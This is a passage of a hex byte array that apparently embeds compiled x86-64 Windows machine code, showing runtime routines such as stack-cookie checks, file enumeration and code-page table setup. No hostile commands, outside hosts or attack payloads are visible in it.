0xc7, 0xe8, 0xd4, 0x12, 0x00, 0x00, - 0x48, 0x85, 0xc0, 0x75, 0x22, 0x33, 0xc9, 0xe8, 0xb4, 0xd7, 0xff, 0xff, - 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xd7, 0xff, 0xff, 0xbe, 0x0c, 0x00, 0x00, - 0x00, 0x33, 0xc9, 0xe8, 0xa0, 0xd7, 0xff, 0xff, 0x8b, 0xc6, 0xe9, 0x02, - 0xff, 0xff, 0xff, 0x4a, 0x8d, 0x0c, 0xf0, 0x48, 0x89, 0x07, 0x48, 0x89, - 0x4f, 0x08, 0x48, 0x8d, 0x0c, 0xe8, 0x48, 0x89, 0x4f, 0x10, 0x33, 0xc9, - 0xe8, 0x7f, 0xd7, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x08, 0x48, 0x89, 0x19, - 0x4c, 0x01, 0x7f, 0x08, 0xeb, 0xcb, 0x45, 0x33, 0xc9, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x3e, 0xd6, - 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x56, 0x57, - 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 0x24, - 0xd0, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x30, 0x03, 0x00, 0x00, 0x48, - 0x8b, 0x05, 0x72, 0x39, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x85, - 0x20, 0x02, 0x00, 0x00, 0x4d, 0x8b, 0xe0, 0x48, 0x8b, 0xf1, 0x48, 0xbb, - 0x01, 0x08, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x48, 0x3b, 0xd1, 0x74, - 0x22, 0x8a, 0x02, 0x2c, 0x2f, 0x3c, 0x2d, 0x77, 0x0a, 0x48, 0x0f, 0xbe, - 0xc0, 0x48, 0x0f, 0xa3, 0xc3, 0x72, 0x10, 0x48, 0x8b, 0xce, 0xe8, 0xb9, - 0x4b, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x3b, 0xc6, 0x75, 0xde, 0x44, - 0x8a, 0x02, 0x41, 0x80, 0xf8, 0x3a, 0x75, 0x1e, 0x48, 0x8d, 0x46, 0x01, - 0x48, 0x3b, 0xd0, 0x74, 0x15, 0x4d, 0x8b, 0xcc, 0x45, 0x33, 0xc0, 0x33, - 0xd2, 0x48, 0x8b, 0xce, 0xe8, 0xef, 0xfd, 0xff, 0xff, 0xe9, 0x56, 0x02, - 0x00, 0x00, 0x41, 0x80, 0xe8, 0x2f, 0x33, 0xff, 0x41, 0x80, 0xf8, 0x2d, - 0x77, 0x0c, 0x49, 0x0f, 0xbe, 0xc0, 0x48, 0x0f, 0xa3, 0xc3, 0xb0, 0x01, - 0x72, 0x03, 0x40, 0x8a, 0xc7, 0x48, 0x2b, 0xd6, 0x48, 0x89, 0x7d, 0xa0, - 0x48, 0xff, 0xc2, 0x48, 0x89, 0x7d, 0xa8, 0xf6, 0xd8, 0x48, 0x89, 0x7d, - 0xb0, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0x89, 0x7d, 0xb8, 0x4d, 0x1b, - 0xed, 0x48, 0x89, 0x7d, 0xc0, 0x4c, 0x23, 0xea, 0x40, 0x88, 0x7d, 0xc8, - 0x33, 0xd2, 0xe8, 0xed, 0xa7, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x38, - 0x41, 0xbf, 0xe9, 0xfd, 0x00, 0x00, 0x44, 0x39, 0x78, 0x0c, 0x75, 0x18, - 0x40, 0x38, 0x7c, 0x24, 0x48, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, - 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x45, 0x8b, 0xc7, 0xeb, 0x3a, - 0xe8, 0x37, 0xf2, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x1b, 0x40, 0x38, 0x7c, - 0x24, 0x48, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0xa0, 0xa8, - 0x03, 0x00, 0x00, 0xfd, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x16, - 0x40, 0x38, 0x7c, 0x24, 0x48, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, - 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x44, 0x8b, 0xc7, 0x48, 0x8d, - 0x55, 0xa0, 0x48, 0x8b, 0xce, 0xe8, 0x1e, 0xf8, 0xff, 0xff, 0x48, 0x8b, - 0x4d, 0xb0, 0x4c, 0x8d, 0x45, 0xd0, 0x85, 0xc0, 0x89, 0x7c, 0x24, 0x28, - 0x48, 0x89, 0x7c, 0x24, 0x20, 0x48, 0x0f, 0x45, 0xcf, 0x45, 0x33, 0xc9, - 0x33, 0xd2, 0xff, 0x15, 0x2c, 0x8a, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, - 0x83, 0xf8, 0xff, 0x75, 0x17, 0x4d, 0x8b, 0xcc, 0x45, 0x33, 0xc0, 0x33, - 0xd2, 0x48, 0x8b, 0xce, 0xe8, 0xf3, 0xfc, 0xff, 0xff, 0x8b, 0xf8, 0xe9, - 0x47, 0x01, 0x00, 0x00, 0x4d, 0x8b, 0x74, 0x24, 0x08, 0x4d, 0x2b, 0x34, - 0x24, 0x49, 0xc1, 0xfe, 0x03, 0x33, 0xd2, 0x48, 0x89, 0x7c, 0x24, 0x70, - 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x7c, 0x24, 0x78, 0x48, 0x89, - 0x7d, 0x80, 0x48, 0x89, 0x7d, 0x88, 0x48, 0x89, 0x7d, 0x90, 0x40, 0x88, - 0x7d, 0x98, 0xe8, 0x09, 0xa7, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x58, - 0x44, 0x39, 0x78, 0x0c, 0x75, 0x18, 0x40, 0x38, 0x7c, 0x24, 0x68, 0x74, - 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x45, 0x8b, 0xc7, 0xeb, 0x3a, 0xe8, 0x59, 0xf1, 0xff, 0xff, 0x85, - 0xc0, 0x75, 0x1b, 0x40, 0x38, 0x7c, 0x24, 0x68, 0x74, 0x0c, 0x48, 0x8b, - 0x44, 0x24, 0x50, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x41, 0xb8, - 0x01, 0x00, 0x00, 0x00, 0xeb, 0x16, 0x40, 0x38, 0x7c, 0x24, 0x68, 0x74, - 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x44, 0x8b, 0xc7, 0x48, 0x8d, 0x54, 0x24, 0x70, 0x48, 0x8d, 0x4d, - 0xfc, 0xe8, 0xb6, 0xf8, 0xff, 0xff, 0x4c, 0x8b, 0x7d, 0x80, 0x85, 0xc0, - 0x49, 0x8b, 0xcf, 0x48, 0x0f, 0x45, 0xcf, 0x80, 0x39, 0x2e, 0x75, 0x11, - 0x8a, 0x41, 0x01, 0x84, 0xc0, 0x74, 0x20, 0x3c, 0x2e, 0x75, 0x06, 0x40, - 0x38, 0x79, 0x02, 0x74, 0x16, 0x4d, 0x8b, 0xcc, 0x4d, 0x8b, 0xc5, 0x48, - 0x8b, 0xd6, 0xe8, 0x1d, 0xfc, 0xff, 0xff, 0x8b, 0xf8, 0x85, 0xc0, 0x75, - 0x5b, 0x33, 0xff, 0x40, 0x38, 0x7d, 0x98, 0x74, 0x08, 0x49, 0x8b, 0xcf, - 0xe8, 0xeb, 0xd4, 0xff, 0xff, 0x48, 0x8d, 0x55, 0xd0, 0x48, 0x8b, 0xcb, - 0xff, 0x15, 0x22, 0x89, 0x00, 0x00, 0x41, 0xbf, 0xe9, 0xfd, 0x00, 0x00, - 0x85, 0xc0, 0x0f, 0x85, 0x0d, 0xff, 0xff, 0xff, 0x49, 0x8b, 0x04, 0x24, - 0x49, 0x8b, 0x54, 0x24, 0x08, 0x48, 0x2b, 0xd0, 0x48, 0xc1, 0xfa, 0x03, - 0x4c, 0x3b, 0xf2, 0x74, 0x29, 0x49, 0x2b, 0xd6, 0x4a, 0x8d, 0x0c, 0xf0, - 0x4c, 0x8d, 0x0d, 0xa5, 0xf6, 0xff, 0xff, 0x41, 0xb8, 0x08, 0x00, 0x00, - 0x00, 0xe8, 0x76, 0x40, 0x00, 0x00, 0xeb, 0x0e, 0x80, 0x7d, 0x98, 0x00, - 0x74, 0x08, 0x49, 0x8b, 0xcf, 0xe8, 0x92, 0xd4, 0xff, 0xff, 0x48, 0x8b, - 0xcb, 0xff, 0x15, 0xbd, 0x88, 0x00, 0x00, 0x80, 0x7d, 0xc8, 0x00, 0x74, - 0x09, 0x48, 0x8b, 0x4d, 0xb0, 0xe8, 0x7a, 0xd4, 0xff, 0xff, 0x8b, 0xc7, - 0x48, 0x8b, 0x8d, 0x20, 0x02, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0x1d, - 0x80, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x88, 0x03, 0x00, 0x00, 0x48, - 0x81, 0xc4, 0x30, 0x03, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, - 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0xe9, 0x57, 0xf9, 0xff, - 0xff, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x40, - 0x33, 0xdb, 0x41, 0x8b, 0xe8, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xf1, 0x48, - 0x85, 0xc9, 0x75, 0x19, 0x38, 0x5a, 0x28, 0x74, 0x03, 0x88, 0x5a, 0x28, - 0x48, 0x89, 0x5a, 0x10, 0x48, 0x89, 0x5a, 0x18, 0x48, 0x89, 0x5a, 0x20, - 0xe9, 0xbd, 0x00, 0x00, 0x00, 0x66, 0x39, 0x19, 0x75, 0x30, 0x48, 0x39, - 0x5a, 0x18, 0x75, 0x22, 0x38, 0x5a, 0x28, 0x74, 0x03, 0x88, 0x5a, 0x28, - 0xe8, 0xcf, 0xd3, 0xff, 0xff, 0xb9, 0x22, 0x00, 0x00, 0x00, 0x89, 0x08, - 0x88, 0x5f, 0x28, 0x48, 0x89, 0x5f, 0x18, 0x8b, 0xd9, 0xe9, 0x90, 0x00, - 0x00, 0x00, 0x48, 0x8b, 0x42, 0x10, 0x88, 0x18, 0xeb, 0xc2, 0x48, 0x89, - 0x5c, 0x24, 0x38, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x30, - 0x4c, 0x8b, 0xc6, 0x89, 0x5c, 0x24, 0x28, 0x33, 0xd2, 0x8b, 0xcd, 0x48, - 0x89, 0x5c, 0x24, 0x20, 0xe8, 0x0f, 0x0d, 0x00, 0x00, 0x48, 0x63, 0xd0, - 0x85, 0xc0, 0x75, 0x16, 0xff, 0x15, 0x26, 0x87, 0x00, 0x00, 0x8b, 0xc8, - 0xe8, 0x0b, 0xd3, 0xff, 0xff, 0xe8, 0x76, 0xd3, 0xff, 0xff, 0x8b, 0x18, - 0xeb, 0x48, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x3b, 0xd1, 0x76, 0x0a, 0x38, - 0x5f, 0x28, 0x74, 0x90, 0x88, 0x5f, 0x28, 0xeb, 0x8b, 0x48, 0x8b, 0x47, - 0x10, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x4c, 0x8b, - 0xc6, 0x48, 0x89, 0x5c, 0x24, 0x30, 0x33, 0xd2, 0x89, 0x4c, 0x24, 0x28, - 0x8b, 0xcd, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xb8, 0x0c, 0x00, 0x00, - 0x48, 0x63, 0xc8, 0x85, 0xc0, 0x74, 0xa9, 0x48, 0xff, 0xc9, 0x48, 0x89, - 0x4f, 0x20, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, - 0x24, 0x50, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x40, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x7c, - 0x24, 0x18, 0x55, 0x48, 0x8d, 0xac, 0x24, 0x70, 0xfe, 0xff, 0xff, 0x48, - 0x81, 0xec, 0x90, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x4b, 0x35, 0x01, - 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00, 0x00, 0x41, - 0x8b, 0xf8, 0x48, 0x8b, 0xda, 0x41, 0xb8, 0x05, 0x01, 0x00, 0x00, 0x48, - 0x8d, 0x54, 0x24, 0x70, 0xff, 0x15, 0xf2, 0x86, 0x00, 0x00, 0x85, 0xc0, - 0x75, 0x14, 0xff, 0x15, 0x68, 0x86, 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0x4d, - 0xd2, 0xff, 0xff, 0x33, 0xc0, 0xe9, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x83, - 0x64, 0x24, 0x60, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xc7, - 0x48, 0x89, 0x5c, 0x24, 0x40, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x48, - 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x89, 0x5c, 0x24, 0x50, 0xc6, 0x44, - 0x24, 0x68, 0x00, 0xe8, 0x14, 0xa4, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, - 0x28, 0x41, 0xb8, 0xe9, 0xfd, 0x00, 0x00, 0x44, 0x39, 0x40, 0x0c, 0x75, - 0x15, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, 0x47, 0x48, 0x8b, 0x44, 0x24, - 0x20, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0xeb, 0x39, 0xe8, 0x61, - 0xee, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x1a, 0x38, 0x44, 0x24, 0x38, 0x74, - 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x16, 0x80, 0x7c, 0x24, - 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x83, 0xa0, 0xa8, - 0x03, 0x00, 0x00, 0xfd, 0x45, 0x33, 0xc0, 0x48, 0x8d, 0x54, 0x24, 0x40, - 0x48, 0x8d, 0x4c, 0x24, 0x70, 0xe8, 0xf6, 0xfd, 0xff, 0xff, 0x8b, 0x44, - 0x24, 0x60, 0x48, 0x8b, 0x8d, 0x80, 0x01, 0x00, 0x00, 0x48, 0x33, 0xcc, - 0xe8, 0xdb, 0x7d, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x90, 0x02, 0x00, - 0x00, 0x49, 0x8b, 0x5b, 0x18, 0x49, 0x8b, 0x7b, 0x20, 0x49, 0x8b, 0xe3, - 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, - 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, - 0xd8, 0x8b, 0x0a, 0xe8, 0xc8, 0xf2, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x03, - 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x81, 0x88, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xc0, 0x18, 0x48, 0x8b, 0x0d, 0x57, 0x50, 0x01, 0x00, 0x48, 0x85, 0xc9, - 0x74, 0x6f, 0x48, 0x85, 0xc0, 0x74, 0x5d, 0x41, 0xb8, 0x02, 0x00, 0x00, - 0x00, 0x45, 0x8b, 0xc8, 0x41, 0x8d, 0x50, 0x7e, 0x0f, 0x10, 0x00, 0x0f, - 0x11, 0x01, 0x0f, 0x10, 0x48, 0x10, 0x0f, 0x11, 0x49, 0x10, 0x0f, 0x10, - 0x40, 0x20, 0x0f, 0x11, 0x41, 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, 0x11, - 0x49, 0x30, 0x0f, 0x10, 0x40, 0x40, 0x0f, 0x11, 0x41, 0x40, 0x0f, 0x10, - 0x48, 0x50, 0x0f, 0x11, 0x49, 0x50, 0x0f, 0x10, 0x40, 0x60, 0x0f, 0x11, - 0x41, 0x60, 0x48, 0x03, 0xca, 0x0f, 0x10, 0x48, 0x70, 0x0f, 0x11, 0x49, - 0xf0, 0x48, 0x03, 0xc2, 0x49, 0x83, 0xe9, 0x01, 0x75, 0xb6, 0x8a, 0x00, - 0x88, 0x01, 0xeb, 0x27, 0x33, 0xd2, 0x41, 0xb8, 0x01, 0x01, 0x00, 0x00, - 0xe8, 0x4b, 0x8e, 0xff, 0xff, 0xe8, 0x42, 0xd1, 0xff, 0xff, 0xc7, 0x00, - 0x16, 0x00, 0x00, 0x00, 0xe8, 0x17, 0xd0, 0xff, 0xff, 0x41, 0xb8, 0x02, - 0x00, 0x00, 0x00, 0x41, 0x8d, 0x50, 0x7e, 0x48, 0x8b, 0x03, 0x48, 0x8b, - 0x08, 0x48, 0x8b, 0x81, 0x88, 0x00, 0x00, 0x00, 0x48, 0x05, 0x19, 0x01, - 0x00, 0x00, 0x48, 0x8b, 0x0d, 0xb7, 0x4f, 0x01, 0x00, 0x48, 0x85, 0xc9, - 0x74, 0x5e, 0x48, 0x85, 0xc0, 0x74, 0x4c, 0x0f, 0x10, 0x00, 0x0f, 0x11, - 0x01, 0x0f, 0x10, 0x48, 0x10, 0x0f, 0x11, 0x49, 0x10, 0x0f, 0x10, 0x40, - 0x20, 0x0f, 0x11, 0x41, 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, 0x11, 0x49, - 0x30, 0x0f, 0x10, 0x40, 0x40, 0x0f, 0x11, 0x41, 0x40, 0x0f, 0x10, 0x48, - 0x50, 0x0f, 0x11, 0x49, 0x50, 0x0f, 0x10, 0x40, 0x60, 0x0f, 0x11, 0x41, - 0x60, 0x48, 0x03, 0xca, 0x0f, 0x10, 0x48, 0x70, 0x0f, 0x11, 0x49, 0xf0, - 0x48, 0x03, 0xc2, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xb6, 0xeb, 0x1d, 0x33, - 0xd2, 0x41, 0xb8, 0x00, 0x01, 0x00, 0x00, 0xe8, 0xb4, 0x8d, 0xff, 0xff, - 0xe8, 0xab, 0xd0, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, - 0x80, 0xcf, 0xff, 0xff, 0x48, 0x8b, 0x43, 0x08, 0x48, 0x8b, 0x08, 0x48, - 0x8b, 0x11, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x02, 0x83, 0xf8, 0x01, - 0x75, 0x1b, 0x48, 0x8b, 0x43, 0x08, 0x48, 0x8b, 0x08, 0x48, 0x8d, 0x05, - 0xb0, 0x35, 0x01, 0x00, 0x48, 0x39, 0x01, 0x74, 0x08, 0x48, 0x8b, 0x09, - 0xe8, 0x8f, 0xd0, 0xff, 0xff, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0x10, 0x48, - 0x8b, 0x43, 0x08, 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x82, 0x88, 0x00, 0x00, - 0x00, 0x48, 0x89, 0x01, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0x08, 0x48, 0x8b, - 0x81, 0x88, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x00, 0x8b, 0x0f, 0xe8, 0x89, - 0xf1, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x40, 0x8b, 0xd9, - 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0xac, 0xa1, 0xff, 0xff, - 0x83, 0x25, 0xcd, 0x4e, 0x01, 0x00, 0x00, 0x83, 0xfb, 0xfe, 0x75, 0x12, - 0xc7, 0x05, 0xbe, 0x4e, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0x15, - 0x80, 0x84, 0x00, 0x00, 0xeb, 0x15, 0x83, 0xfb, 0xfd, 0x75, 0x14, 0xc7, - 0x05, 0xa7, 0x4e, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0x15, 0x61, - 0x84, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x17, 0x83, 0xfb, 0xfc, 0x75, 0x12, - 0x48, 0x8b, 0x44, 0x24, 0x28, 0xc7, 0x05, 0x89, 0x4e, 0x01, 0x00, 0x01, - 0x00, 0x00, 0x00, 0x8b, 0x58, 0x0c, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, - 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, - 0xfd, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x40, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x59, 0x18, - 0x48, 0x8b, 0xf1, 0xbd, 0x01, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x44, - 0x8b, 0xc5, 0x33, 0xd2, 0xe8, 0x8b, 0x8c, 0xff, 0xff, 0x33, 0xc0, 0x48, - 0x8d, 0x7e, 0x0c, 0x48, 0x89, 0x46, 0x04, 0xb9, 0x06, 0x00, 0x00, 0x00, - 0x48, 0x89, 0x86, 0x20, 0x02, 0x00, 0x00, 0x0f, 0xb7, 0xc0, 0x66, 0xf3, - 0xab, 0x48, 0x8d, 0x3d, 0x98, 0x34, 0x01, 0x00, 0x48, 0x2b, 0xfe, 0x8a, - 0x04, 0x1f, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x48, 0x83, 0xed, 0x01, 0x75, - 0xf2, 0x48, 0x8d, 0x8e, 0x19, 0x01, 0x00, 0x00, 0xba, 0x00, 0x01, 0x00, - 0x00, 0x8a, 0x04, 0x39, 0x88, 0x01, 0x48, 0xff, 0xc1, 0x48, 0x83, 0xea, - 0x01, 0x75, 0xf2, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, - 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, - 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x55, 0x48, - 0x8d, 0xac, 0x24, 0x80, 0xf9, 0xff, 0xff, 0x48, 0x81, 0xec, 0x80, 0x07, - 0x00, 0x00, 0x48, 0x8b, 0x05, 0x5f, 0x31, 0x01, 0x00, 0x48, 0x33, 0xc4, - 0x48, 0x89, 0x85, 0x70, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x8b, 0x49, - 0x04, 0x81, 0xf9, 0xe9, 0xfd, 0x00, 0x00, 0x0f, 0x84, 0x3d, 0x01, 0x00, - 0x00, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xff, 0x15, 0x60, 0x83, 0x00, 0x00, - 0x85, 0xc0, 0x0f, 0x84, 0x2a, 0x01, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8d, - 0x4c, 0x24, 0x70, 0xbe, 0x00, 0x01, 0x00, 0x00, 0x88, 0x01, 0xff, 0xc0, - 0x48, 0xff, 0xc1, 0x3b, 0xc6, 0x72, 0xf5, 0x8a, 0x44, 0x24, 0x56, 0x48, - 0x8d, 0x54, 0x24, 0x56, 0xc6, 0x44, 0x24, 0x70, 0x20, 0xeb, 0x20, 0x44, - 0x0f, 0xb6, 0x42, 0x01, 0x0f, 0xb6, 0xc8, 0xeb, 0x0b, 0x3b, 0xce, 0x73, - 0x0c, 0xc6, 0x44, 0x0c, 0x70, 0x20, 0xff, 0xc1, 0x41, 0x3b, 0xc8, 0x76, - 0xf0, 0x48, 0x83, 0xc2, 0x02, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xdc, 0x8b, - 0x43, 0x04, 0x4c, 0x8d, 0x44, 0x24, 0x70, 0x83, 0x64, 0x24, 0x30, 0x00, - 0x44, 0x8b, 0xce, 0x89, 0x44, 0x24, 0x28, 0xba, 0x01, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x85, 0x70, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x89, 0x44, - 0x24, 0x20, 0xe8, 0xe9, 0x34, 0x00, 0x00, 0x83, 0x64, 0x24, 0x40, 0x00, - 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x8b, 0x43, 0x04, 0x44, 0x8b, 0xc6, 0x48, - 0x8b, 0x93, 0x20, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x89, 0x44, 0x24, 0x38, - 0x48, 0x8d, 0x45, 0x70, 0x89, 0x74, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, - 0x28, 0x89, 0x74, 0x24, 0x20, 0xe8, 0xba, 0x46, 0x00, 0x00, 0x83, 0x64, - 0x24, 0x40, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x70, 0x8b, 0x43, 0x04, 0x41, - 0xb8, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x93, 0x20, 0x02, 0x00, 0x00, - 0x33, 0xc9, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8d, 0x85, 0x70, 0x01, 0x00, - 0x00, 0x89, 0x74, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x89, 0x74, - 0x24, 0x20, 0xe8, 0x81, 0x46, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0xf6, 0x02, 0x01, 0x74, 0x0b, - 0x80, 0x4c, 0x18, 0x18, 0x10, 0x8a, 0x4c, 0x05, 0x6f, 0xeb, 0x15, 0xf6, - 0x02, 0x02, 0x74, 0x0e, 0x80, 0x4c, 0x18, 0x18, 0x20, 0x8a, 0x8c, 0x05, - 0x6f, 0x01, 0x00, 0x00, 0xeb, 0x02, 0x32, 0xc9, 0x88, 0x8c, 0x18, 0x18, - 0x01, 0x00, 0x00, 0x48, 0x83, 0xc2, 0x02, 0x48, 0xff, 0xc0, 0x48, 0x83, - 0xee, 0x01, 0x75, 0xc7, 0xeb, 0x43, 0x33, 0xd2, 0xbe, 0x00, 0x01, 0x00, - 0x00, 0x8d, 0x4a, 0x01, 0x44, 0x8d, 0x42, 0x9f, 0x41, 0x8d, 0x40, 0x20, - 0x83, 0xf8, 0x19, 0x77, 0x0a, 0x80, 0x4c, 0x0b, 0x18, 0x10, 0x8d, 0x42, - 0x20, 0xeb, 0x12, 0x41, 0x83, 0xf8, 0x19, 0x77, 0x0a, 0x80, 0x4c, 0x0b, - 0x18, 0x20, 0x8d, 0x42, 0xe0, 0xeb, 0x02, 0x32, 0xc0, 0x88, 0x84, 0x0b, - 0x18, 0x01, 0x00, 0x00, 0xff, 0xc2, 0x48, 0xff, 0xc1, 0x3b, 0xd6, 0x72, - 0xc7, 0x48, 0x8b, 0x8d, 0x70, 0x06, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, - 0x2c, 0x79, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x80, 0x07, 0x00, 0x00, - 0x49, 0x8b, 0x5b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0xe3, 0x5d, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, - 0x24, 0x20, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8b, - 0xec, 0x48, 0x83, 0xec, 0x40, 0x40, 0x8a, 0xf2, 0x8b, 0xd9, 0x49, 0x8b, - 0xd1, 0x49, 0x8b, 0xc8, 0xe8, 0x97, 0x01, 0x00, 0x00, 0x8b, 0xcb, 0xe8, - 0xdc, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x30, 0x8b, 0xf8, 0x4c, 0x8b, - 0x81, 0x88, 0x00, 0x00, 0x00, 0x41, 0x3b, 0x40, 0x04, 0x75, 0x07, 0x33, - 0xc0, 0xe9, 0xb8, 0x00, 0x00, 0x00, 0xb9, 0x28, 0x02, 0x00, 0x00, 0xe8, - 0x4c, 0xcd, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, - 0x95, 0x00, 0x00, 0x00, 0x48, 